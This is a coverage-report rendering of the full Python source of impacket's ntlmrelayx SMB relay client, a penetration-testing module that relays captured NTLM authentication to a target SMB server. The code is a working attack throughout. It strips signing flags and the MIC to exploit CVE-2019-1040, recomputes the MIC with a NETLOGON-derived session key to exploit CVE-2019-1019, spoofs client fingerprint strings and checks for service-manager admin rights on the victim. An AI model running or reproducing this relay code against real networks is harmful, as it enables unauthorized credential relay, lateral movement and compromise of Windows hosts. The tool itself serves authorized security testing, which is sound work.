Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/smbrelayclient.py: 9%

# Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/clients/smbrelayclient.py : 9%

## 406 statements

Hot-keys on this page

r m x p toggle line displays

j k next/prev highlighted chunk

0 (zero) top of page

1 (one) first highlighted chunk

1# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved.

2#

3# This software is provided under under a slightly modified version

4# of the Apache Software License. See the accompanying LICENSE file

5# for more information.

6#

7# SMB Relay Protocol Client

8#

9# Author:

10# Alberto Solino (@agsolino)

11#

12# Description:

13# This is the SMB client which initiates the connection to an

14# SMB server and relays the credentials to this server.

15

16 import logging

17 import os

18

19 from binascii import unhexlify, hexlify

20 from struct import unpack, pack

21 from socket import error as socketerror

22 from impacket.dcerpc.v5.rpcrt import DCERPCException

23 from impacket.dcerpc.v5 import nrpc

24 from impacket.dcerpc.v5 import transport

25 from impacket.dcerpc.v5.ndr import NULL

26 from impacket import LOG

27 from impacket.examples.ntlmrelayx.clients import ProtocolClient

28 from impacket.examples.ntlmrelayx.servers.socksserver import KEEP_ALIVE_TIMER

29 from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_LOGON_FAILURE

30 from impacket.ntlm import NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallenge, NTLMAuthChallengeResponse, \

31 generateEncryptedSessionKey, hmac_md5

32 from impacket.smb import SMB, NewSMBPacket, SMBCommand, SMBSessionSetupAndX_Extended_Parameters, \

33 SMBSessionSetupAndX_Extended_Data, SMBSessionSetupAndX_Extended_Response_Data, \

34 SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Parameters

35 from impacket.smb3 import SMB3, SMB2_GLOBAL_CAP_ENCRYPTION, SMB2_DIALECT_WILDCARD, SMB2Negotiate_Response, \

36 SMB2_NEGOTIATE, SMB2Negotiate, SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30, SMB2_GLOBAL_CAP_LEASING, \

37 SMB3Packet, SMB2_GLOBAL_CAP_LARGE_MTU, SMB2_GLOBAL_CAP_DIRECTORY_LEASING, SMB2_GLOBAL_CAP_MULTI_CHANNEL, \

38 SMB2_GLOBAL_CAP_PERSISTENT_HANDLES, SMB2_NEGOTIATE_SIGNING_REQUIRED, SMB2Packet,SMB2SessionSetup, SMB2_SESSION_SETUP, STATUS_MORE_PROCESSING_REQUIRED, SMB2SessionSetup_Response

39 from impacket.smbconnection import SMBConnection, SMB_DIALECT

40 from impacket.ntlm import NTLMAuthChallenge, NTLMAuthNegotiate, NTLMSSP_NEGOTIATE_SIGN, NTLMSSP_NEGOTIATE_ALWAYS_SIGN, NTLMAuthChallengeResponse, NTLMSSP_NEGOTIATE_KEY_EXCH, NTLMSSP_NEGOTIATE_VERSION

41 from impacket.spnego import SPNEGO_NegTokenInit, SPNEGO_NegTokenResp, TypesMech

42 from impacket.dcerpc.v5.transport import SMBTransport

43 from impacket.dcerpc.v5 import scmr

44

45 PROTOCOL_CLIENT_CLASS = "SMBRelayClient"

46

47 class MYSMB(SMB):

48 def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None):

49 self.extendedSecurity = extendedSecurity

50 SMB.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negPacket=negPacket)

51

52 def neg_session(self, negPacket=None):

53 return SMB.neg_session(self, extended_security=self.extendedSecurity, negPacket=negPacket)

54

55 class MYSMB3(SMB3):

56 def __init__(self, remoteName, sessPort = 445, extendedSecurity = True, nmbSession = None, negPacket=None, preferredDialect=None):

57 self.extendedSecurity = extendedSecurity

58 SMB3.__init__(self,remoteName, remoteName, sess_port = sessPort, session=nmbSession, negSessionResponse=SMB2Packet(negPacket), preferredDialect=preferredDialect)

59

60 def negotiateSession(self, preferredDialect = None, negSessionResponse = None):

61 # We DON'T want to sign

62 self._Connection['ClientSecurityMode'] = 0

63

64 if self.RequireMessageSigning is True:

65 LOG.error('Signing is required, attack won\'t work unless using -remove-target / --remove-mic')

66 return

67

68 self._Connection['Capabilities'] = SMB2_GLOBAL_CAP_ENCRYPTION

69 currentDialect = SMB2_DIALECT_WILDCARD

70

71 # Do we have a negSessionPacket already?

72 if negSessionResponse is not None:

73 # Yes, let's store the dialect answered back

74 negResp = SMB2Negotiate_Response(negSessionResponse['Data'])

75 currentDialect = negResp['DialectRevision']

76

77 if currentDialect == SMB2_DIALECT_WILDCARD:

78 # Still don't know the chosen dialect, let's send our options

79

80 packet = self.SMB_PACKET()

81 packet['Command'] = SMB2_NEGOTIATE

82 negSession = SMB2Negotiate()

83

84 negSession['SecurityMode'] = self._Connection['ClientSecurityMode']

85 negSession['Capabilities'] = self._Connection['Capabilities']

86 negSession['ClientGuid'] = self.ClientGuid

87 if preferredDialect is not None:

88 negSession['Dialects'] = [preferredDialect]

89 else:

90 negSession['Dialects'] = [SMB2_DIALECT_002, SMB2_DIALECT_21, SMB2_DIALECT_30]

91 negSession['DialectCount'] = len(negSession['Dialects'])

92 packet['Data'] = negSession

93

94 packetID = self.sendSMB(packet)

95 ans = self.recvSMB(packetID)

96 if ans.isValidAnswer(STATUS_SUCCESS):

97 negResp = SMB2Negotiate_Response(ans['Data'])

98

99 self._Connection['MaxTransactSize'] = min(0x100000,negResp['MaxTransactSize'])

100 self._Connection['MaxReadSize'] = min(0x100000,negResp['MaxReadSize'])

101 self._Connection['MaxWriteSize'] = min(0x100000,negResp['MaxWriteSize'])

102 self._Connection['ServerGuid'] = negResp['ServerGuid']

103 self._Connection['GSSNegotiateToken'] = negResp['Buffer']

104 self._Connection['Dialect'] = negResp['DialectRevision']

105 if (negResp['SecurityMode'] & SMB2_NEGOTIATE_SIGNING_REQUIRED) == SMB2_NEGOTIATE_SIGNING_REQUIRED:

106 LOG.error('Signing is required, attack won\'t work unless using -remove-target / --remove-mic')

107 return

108 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LEASING) == SMB2_GLOBAL_CAP_LEASING:

109 self._Connection['SupportsFileLeasing'] = True

110 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_LARGE_MTU) == SMB2_GLOBAL_CAP_LARGE_MTU:

111 self._Connection['SupportsMultiCredit'] = True

112

113 if self._Connection['Dialect'] == SMB2_DIALECT_30:

114 # Switching to the right packet format

115 self.SMB_PACKET = SMB3Packet

116 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_DIRECTORY_LEASING) == SMB2_GLOBAL_CAP_DIRECTORY_LEASING:

117 self._Connection['SupportsDirectoryLeasing'] = True

118 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_MULTI_CHANNEL) == SMB2_GLOBAL_CAP_MULTI_CHANNEL:

119 self._Connection['SupportsMultiChannel'] = True

120 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_PERSISTENT_HANDLES) == SMB2_GLOBAL_CAP_PERSISTENT_HANDLES:

121 self._Connection['SupportsPersistentHandles'] = True

122 if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION:

123 self._Connection['SupportsEncryption'] = True

124

125 self._Connection['ServerCapabilities'] = negResp['Capabilities']

126 self._Connection['ServerSecurityMode'] = negResp['SecurityMode']

127

128 class SMBRelayClient(ProtocolClient):

129 PLUGIN_NAME = "SMB"

130 def __init__(self, serverConfig, target, targetPort = 445, extendedSecurity=True ):

131 ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity)

132 self.extendedSecurity = extendedSecurity

133

134 self.machineAccount = None

135 self.machineHashes = None

136 self.sessionData = {}

137

138 self.negotiateMessage = None

139 self.challengeMessage = None

140 self.serverChallenge = None

141

142 self.keepAliveHits = 1

143

144 def netlogonSessionKey(self, authenticateMessageBlob):

145 # Here we will use netlogon to get the signing session key

146 logging.info("Connecting to %s NETLOGON service" % self.serverConfig.domainIp)

147

148 #respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob)

149 authenticateMessage = NTLMAuthChallengeResponse()

150 authenticateMessage.fromString(authenticateMessageBlob)

151 _, machineAccount = self.serverConfig.machineAccount.split('/')

152 domainName = authenticateMessage['domain_name'].decode('utf-16le')

153

154 try:

155 serverName = machineAccount[:len(machineAccount)-1]

156 except:

157 # We're in NTLMv1, not supported

158 return STATUS_ACCESS_DENIED

159

160 stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp

161

162 rpctransport = transport.DCERPCTransportFactory(stringBinding)

163

164 if len(self.serverConfig.machineHashes) > 0:

165 lmhash, nthash = self.serverConfig.machineHashes.split(':')

166 else:

167 lmhash = ''

168 nthash = ''

169

170 if hasattr(rpctransport, 'set_credentials'):

171 # This method exists only for selected protocol sequences.

172 rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash)

173

174 dce = rpctransport.get_dce_rpc()

175 dce.connect()

176 dce.bind(nrpc.MSRPC_UUID_NRPC)

177 resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName+'\x00', b'12345678')

178

179 serverChallenge = resp['ServerChallenge']

180

181 if self.serverConfig.machineHashes == '':

182 ntHash = None

183 else:

184 ntHash = unhexlify(self.serverConfig.machineHashes.split(':')[1])

185

186 sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, ntHash)

187

188 ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey)

189

190 nrpc.hNetrServerAuthenticate3(dce, NULL, machineAccount + '\x00',

191 nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00',

192 ppp, 0x600FFFFF)

193

194 clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10)

195

196 # Now let's try to verify the security blob against the PDC

197

198 request = nrpc.NetrLogonSamLogonWithFlags()

199 request['LogonServer'] = '\x00'

200 request['ComputerName'] = serverName + '\x00'

201 request['ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4

202

203 request['LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation

204 request['LogonInformation']['tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation

205 request['LogonInformation']['LogonNetworkTransitive']['Identity']['LogonDomainName'] = domainName

206 request['LogonInformation']['LogonNetworkTransitive']['Identity']['ParameterControl'] = 0

207 request['LogonInformation']['LogonNetworkTransitive']['Identity']['UserName'] = authenticateMessage[

208 'user_name'].decode('utf-16le')

209 request['LogonInformation']['LogonNetworkTransitive']['Identity']['Workstation'] = ''

210 request['LogonInformation']['LogonNetworkTransitive']['LmChallenge'] = self.serverChallenge

211 request['LogonInformation']['LogonNetworkTransitive']['NtChallengeResponse'] = authenticateMessage['ntlm']

212 request['LogonInformation']['LogonNetworkTransitive']['LmChallengeResponse'] = authenticateMessage['lanman']

213

214 authenticator = nrpc.NETLOGON_AUTHENTICATOR()

215 authenticator['Credential'] = nrpc.ComputeNetlogonCredential(clientStoredCredential, sessionKey)

216 authenticator['Timestamp'] = 10

217

218 request['Authenticator'] = authenticator

219 request['ReturnAuthenticator']['Credential'] = b'\x00' * 8

220 request['ReturnAuthenticator']['Timestamp'] = 0

221 request['ExtraFlags'] = 0

222 # request.dump()

223 try:

224 resp = dce.request(request)

225 # resp.dump()

226 except DCERPCException as e:

227 if logging.getLogger().level == logging.DEBUG:

228 import traceback

229 traceback.print_exc()

230 logging.error(str(e))

231 return e.get_error_code()

232

233 logging.info("%s\\%s successfully validated through NETLOGON" % (

234 domainName, authenticateMessage['user_name'].decode('utf-16le')))

235

236 encryptedSessionKey = authenticateMessage['session_key']

237 if encryptedSessionKey != b'':

238 signingKey = generateEncryptedSessionKey(

239 resp['ValidationInformation']['ValidationSam4']['UserSessionKey'], encryptedSessionKey)

240 else:

241 signingKey = resp['ValidationInformation']['ValidationSam4']['UserSessionKey']

242

243 logging.info("SMB Signing key: %s " % hexlify(signingKey).decode('utf-8'))

244

245 return STATUS_SUCCESS, signingKey

246

247 def keepAlive(self):

248 # SMB Keep Alive more or less every 5 minutes

249 if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER):

250 # Time to send a packet

251 # Just a tree connect / disconnect to avoid the session timeout

252 tid = self.session.connectTree('IPC$')

253 self.session.disconnectTree(tid)

254 self.keepAliveHits = 1

255 else:

256 self.keepAliveHits +=1

257

258 def killConnection(self):

259 if self.session is not None:

260 self.session.close()

261 self.session = None

262

263 def initConnection(self):

264 self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort, manualNegotiate=True)

265 #,preferredDialect=SMB_DIALECT)

266 if self.serverConfig.smb2support is True:

267 data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00'

268 else:

269 data = '\x02NT LM 0.12\x00'

270

271 if self.extendedSecurity is True:

272 flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES

273 else:

274 flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES

275 try:

276 packet = self.session.negotiateSessionWildcard(None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity,

277 flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS,

278 flags2=flags2, data=data)

279 except Exception as e:

280 if not self.serverConfig.smb2support:

281 LOG.error('SMBClient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support')

282 else:

283 LOG.error('SMBClient error: Connection was reset')

284 return False

285 if packet[0:1] == b'\xfe':

286 preferredDialect = None

287 # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21

288 if self.serverConfig.remove_target:

289 preferredDialect = SMB2_DIALECT_21

290 smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(),

291 negPacket=packet, preferredDialect=preferredDialect)

292 else:

293 # Answer is SMB packet, sticking to SMBv1

294 smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity,nmbSession=self.session.getNMBServer(),

295 negPacket=packet)

296

297 self.session = SMBConnection(self.targetHost, self.targetHost, sess_port= self.targetPort,

298 existingConnection=smbClient, manualNegotiate=True)

299

300 return True

301

302 def setUid(self,uid):

303 self._uid = uid

304

305 def sendNegotiate(self, negotiateMessage):

306 negoMessage = NTLMAuthNegotiate()

307 negoMessage.fromString(negotiateMessage)

308 # When exploiting CVE-2019-1040, remove flags

309 if self.serverConfig.remove_mic:

310 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:

311 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN

312 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:

313 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN

314 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:

315 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH

316 if negoMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:

317 negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION

318

319 negotiateMessage = negoMessage.getData()

320

321 challenge = NTLMAuthChallenge()

322 if self.session.getDialect() == SMB_DIALECT:

323 challenge.fromString(self.sendNegotiatev1(negotiateMessage))

324 else:

325 challenge.fromString(self.sendNegotiatev2(negotiateMessage))

326

327 self.negotiateMessage = negotiateMessage

328 self.challengeMessage = challenge.getData()

329

330 # Store the Challenge in our session data dict. It will be used by the SMB Proxy

331 self.sessionData['CHALLENGE_MESSAGE'] = challenge

332 self.serverChallenge = challenge['challenge']

333

334 return challenge

335

336 def sendNegotiatev2(self, negotiateMessage):

337 v2client = self.session.getSMBServer()

338

339 sessionSetup = SMB2SessionSetup()

340 sessionSetup['Flags'] = 0

341

342 sessionSetup['SecurityBufferLength'] = len(negotiateMessage)

343 sessionSetup['Buffer'] = negotiateMessage

344

345 packet = v2client.SMB_PACKET()

346 packet['Command'] = SMB2_SESSION_SETUP

347 packet['Data'] = sessionSetup

348

349 packetID = v2client.sendSMB(packet)

350 ans = v2client.recvSMB(packetID)

351 if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED):

352 v2client._Session['SessionID'] = ans['SessionID']

353 sessionSetupResponse = SMB2SessionSetup_Response(ans['Data'])

354 return sessionSetupResponse['Buffer']

355

356 return False

357

358 def sendNegotiatev1(self, negotiateMessage):

359 v1client = self.session.getSMBServer()

360

361 smb = NewSMBPacket()

362 smb['Flags1'] = SMB.FLAGS1_PATHCASELESS

363 smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY

364 # Are we required to sign SMB? If so we do it, if not we skip it

365 if v1client.is_signing_required():

366 smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE

367

368 # Just in case, clear the Unicode Flag

369 flags2 = v1client.get_flags ()[1]

370 v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE))

371

372 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)

373 sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()

374 sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()

375

376 sessionSetup['Parameters']['MaxBufferSize'] = 65535

377 sessionSetup['Parameters']['MaxMpxCount'] = 2

378 sessionSetup['Parameters']['VcNumber'] = 1

379 sessionSetup['Parameters']['SessionKey'] = 0

380 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

381

382 # Let's build a NegTokenInit with the NTLMSSP

383 # TODO: In the future we should be able to choose different providers

384

385 #blob = SPNEGO_NegTokenInit()

386

387 # NTLMSSP

388 #blob['MechTypes'] = [TypesMech['NTLMSSP - Microsoft NTLM Security Support Provider']]

389 #blob['MechToken'] = negotiateMessage

390

391 #sessionSetup['Parameters']['SecurityBlobLength'] = len(blob)

392 sessionSetup['Parameters']['SecurityBlobLength'] = len(negotiateMessage)

393 sessionSetup['Parameters'].getData()

394 #sessionSetup['Data']['SecurityBlob'] = blob.getData()

395 sessionSetup['Data']['SecurityBlob'] = negotiateMessage

396

397 # Fake Data here, don't want to get us fingerprinted

398 sessionSetup['Data']['NativeOS'] = 'Unix'

399 sessionSetup['Data']['NativeLanMan'] = 'Samba'

400

401 smb.addCommand(sessionSetup)

402 v1client.sendSMB(smb)

403 smb = v1client.recvSMB()

404

405 try:

406 smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)

407 except Exception:

408 LOG.error("SessionSetup Error!")

409 raise

410 else:

411 # We will need to use this uid field for all future requests/responses

412 v1client.set_uid(smb['Uid'])

413

414 # Now we have to extract the blob to continue the auth process

415 sessionResponse = SMBCommand(smb['Data'][0])

416 sessionParameters = SMBSessionSetupAndX_Extended_Response_Parameters(sessionResponse['Parameters'])

417 sessionData = SMBSessionSetupAndX_Extended_Response_Data(flags = smb['Flags2'])

418 sessionData['SecurityBlobLength'] = sessionParameters['SecurityBlobLength']

419 sessionData.fromString(sessionResponse['Data'])

420 #respToken = SPNEGO_NegTokenResp(sessionData['SecurityBlob'])

421

422 #return respToken['ResponseToken']

423 return sessionData['SecurityBlob']

424

425 def sendStandardSecurityAuth(self, sessionSetupData):

426 v1client = self.session.getSMBServer()

427 flags2 = v1client.get_flags()[1]

428 v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_EXTENDED_SECURITY))

429 if sessionSetupData['Account'] != '':

430 smb = NewSMBPacket()

431 smb['Flags1'] = 8

432

433 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)

434 sessionSetup['Parameters'] = SMBSessionSetupAndX_Parameters()

435 sessionSetup['Data'] = SMBSessionSetupAndX_Data()

436

437 sessionSetup['Parameters']['MaxBuffer'] = 65535

438 sessionSetup['Parameters']['MaxMpxCount'] = 2

439 sessionSetup['Parameters']['VCNumber'] = os.getpid()

440 sessionSetup['Parameters']['SessionKey'] = v1client._dialects_parameters['SessionKey']

441 sessionSetup['Parameters']['AnsiPwdLength'] = len(sessionSetupData['AnsiPwd'])

442 sessionSetup['Parameters']['UnicodePwdLength'] = len(sessionSetupData['UnicodePwd'])

443 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_RAW_MODE

444

445 sessionSetup['Data']['AnsiPwd'] = sessionSetupData['AnsiPwd']

446 sessionSetup['Data']['UnicodePwd'] = sessionSetupData['UnicodePwd']

447 sessionSetup['Data']['Account'] = sessionSetupData['Account']

448 sessionSetup['Data']['PrimaryDomain'] = sessionSetupData['PrimaryDomain']

449 sessionSetup['Data']['NativeOS'] = 'Unix'

450 sessionSetup['Data']['NativeLanMan'] = 'Samba'

451

452 smb.addCommand(sessionSetup)

453

454 v1client.sendSMB(smb)

455 smb = v1client.recvSMB()

456 try:

457 smb.isValidAnswer(SMB.SMB_COM_SESSION_SETUP_ANDX)

458 except:

459 return None, STATUS_LOGON_FAILURE

460 else:

461 v1client.set_uid(smb['Uid'])

462 return smb, STATUS_SUCCESS

463 else:

464 # Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials

465 clientResponse = None

466 errorCode = STATUS_ACCESS_DENIED

467

468 return clientResponse, errorCode

469

470 def sendAuth(self, authenticateMessageBlob, serverChallenge=None):

471

472 # When exploiting CVE-2019-1040, remove flags

473 if self.serverConfig.remove_mic:

474 authMessage = NTLMAuthChallengeResponse()

475 authMessage.fromString(authenticateMessageBlob)

476 if authMessage['flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN:

477 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN

478 if authMessage['flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN:

479 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN

480 if authMessage['flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH:

481 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH

482 if authMessage['flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION:

483 authMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION

484 authMessage['MIC'] = b''

485 authMessage['MICLen'] = 0

486 authMessage['Version'] = b''

487 authMessage['VersionLen'] = 0

488 authenticateMessageBlob = authMessage.getData()

489

490 #if unpack('B', str(authenticateMessageBlob)[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:

491 # # We need to unwrap SPNEGO and get the NTLMSSP

492 # respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)

493 # authData = respToken['ResponseToken']

494 #else:

495 authData = authenticateMessageBlob

496

497 signingKey = None

498 if self.serverConfig.remove_target:

499 # Trying to exploit CVE-2019-1019

500 # Discovery and Implementation by @simakov_marina and @YaronZi

501 # respToken2 = SPNEGO_NegTokenResp(authData)

502 authenticateMessageBlob = authData

503

504 errorCode, signingKey = self.netlogonSessionKey(authData)

505

506 # Recalculate MIC

507 res = NTLMAuthChallengeResponse()

508 res.fromString(authenticateMessageBlob)

509

510 newAuthBlob = authenticateMessageBlob[0:0x48] + b'\x00'*16 + authenticateMessageBlob[0x58:]

511 relay_MIC = hmac_md5(signingKey, self.negotiateMessage + self.challengeMessage + newAuthBlob)

512

513 respToken2 = SPNEGO_NegTokenResp()

514 respToken2['ResponseToken'] = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]

515 authData = authenticateMessageBlob[0:0x48] + relay_MIC + authenticateMessageBlob[0x58:]

516 #authData = respToken2.getData()

517

518 if self.session.getDialect() == SMB_DIALECT:

519 token, errorCode = self.sendAuthv1(authData, serverChallenge)

520 else:

521 token, errorCode = self.sendAuthv2(authData, serverChallenge)

522

523 if signingKey:

524 logging.info("Enabling session signing")

525 self.session._SMBConnection.set_session_key(signingKey)

526

527 return token, errorCode

528

529 def sendAuthv2(self, authenticateMessageBlob, serverChallenge=None):

530 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:

531 # We need to unwrap SPNEGO and get the NTLMSSP

532 respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)

533 authData = respToken['ResponseToken']

534 else:

535 authData = authenticateMessageBlob

536

537 v2client = self.session.getSMBServer()

538

539 sessionSetup = SMB2SessionSetup()

540 sessionSetup['Flags'] = 0

541

542 packet = v2client.SMB_PACKET()

543 packet['Command'] = SMB2_SESSION_SETUP

544 packet['Data'] = sessionSetup

545

546 # Reusing the previous structure

547 sessionSetup['SecurityBufferLength'] = len(authData)

548 sessionSetup['Buffer'] = authData

549

550 packetID = v2client.sendSMB(packet)

551 packet = v2client.recvSMB(packetID)

552

553 return packet, packet['Status']

554

555 def sendAuthv1(self, authenticateMessageBlob, serverChallenge=None):

556 if unpack('B', authenticateMessageBlob[:1])[0] == SPNEGO_NegTokenResp.SPNEGO_NEG_TOKEN_RESP:

557 # We need to unwrap SPNEGO and get the NTLMSSP

558 respToken = SPNEGO_NegTokenResp(authenticateMessageBlob)

559 authData = respToken['ResponseToken']

560 else:

561 authData = authenticateMessageBlob

562

563 v1client = self.session.getSMBServer()

564

565 smb = NewSMBPacket()

566 smb['Flags1'] = SMB.FLAGS1_PATHCASELESS

567 smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_UNICODE

568 # Are we required to sign SMB? If so we do it, if not we skip it

569 if v1client.is_signing_required():

570 smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE

571 smb['Uid'] = v1client.get_uid()

572

573 sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)

574 sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters()

575 sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data()

576

577 sessionSetup['Parameters']['MaxBufferSize'] = 65535

578 sessionSetup['Parameters']['MaxMpxCount'] = 2

579 sessionSetup['Parameters']['VcNumber'] = 1

580 sessionSetup['Parameters']['SessionKey'] = 0

581 sessionSetup['Parameters']['Capabilities'] = SMB.CAP_EXTENDED_SECURITY | SMB.CAP_USE_NT_ERRORS | SMB.CAP_UNICODE

582

583 # Fake Data here, don't want to get us fingerprinted

584 sessionSetup['Data']['NativeOS'] = 'Unix'

585 sessionSetup['Data']['NativeLanMan'] = 'Samba'

586

587 sessionSetup['Parameters']['SecurityBlobLength'] = len(authData)

588 sessionSetup['Data']['SecurityBlob'] = authData

589 smb.addCommand(sessionSetup)

590 v1client.sendSMB(smb)

591

592 smb = v1client.recvSMB()

593

594 errorCode = smb['ErrorCode'] << 16

595 errorCode += smb['_reserved'] << 8

596 errorCode += smb['ErrorClass']

597

598 return smb, errorCode

599

600 def getStandardSecurityChallenge(self):

601 if self.session.getDialect() == SMB_DIALECT:

602 return self.session.getSMBServer().get_encryption_key()

603 else:

604 return None

605

606 def isAdmin(self):

607 rpctransport = SMBTransport(self.session.getRemoteHost(), 445, r'\svcctl', smb_connection=self.session)

608 dce = rpctransport.get_dce_rpc()

609 try:

610 dce.connect()

611 except:

612 pass

613 else:

614 dce.bind(scmr.MSRPC_UUID_SCMR)

615 try:

616 # 0xF003F - SC_MANAGER_ALL_ACCESS

617 # http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx

618 ans = scmr.hROpenSCManagerW(dce,'{}\x00'.format(self.target.hostname),'ServicesActive\x00', 0xF003F)

619 return "TRUE"

620 except scmr.DCERPCException as e:

621 pass

622 return "FALSE"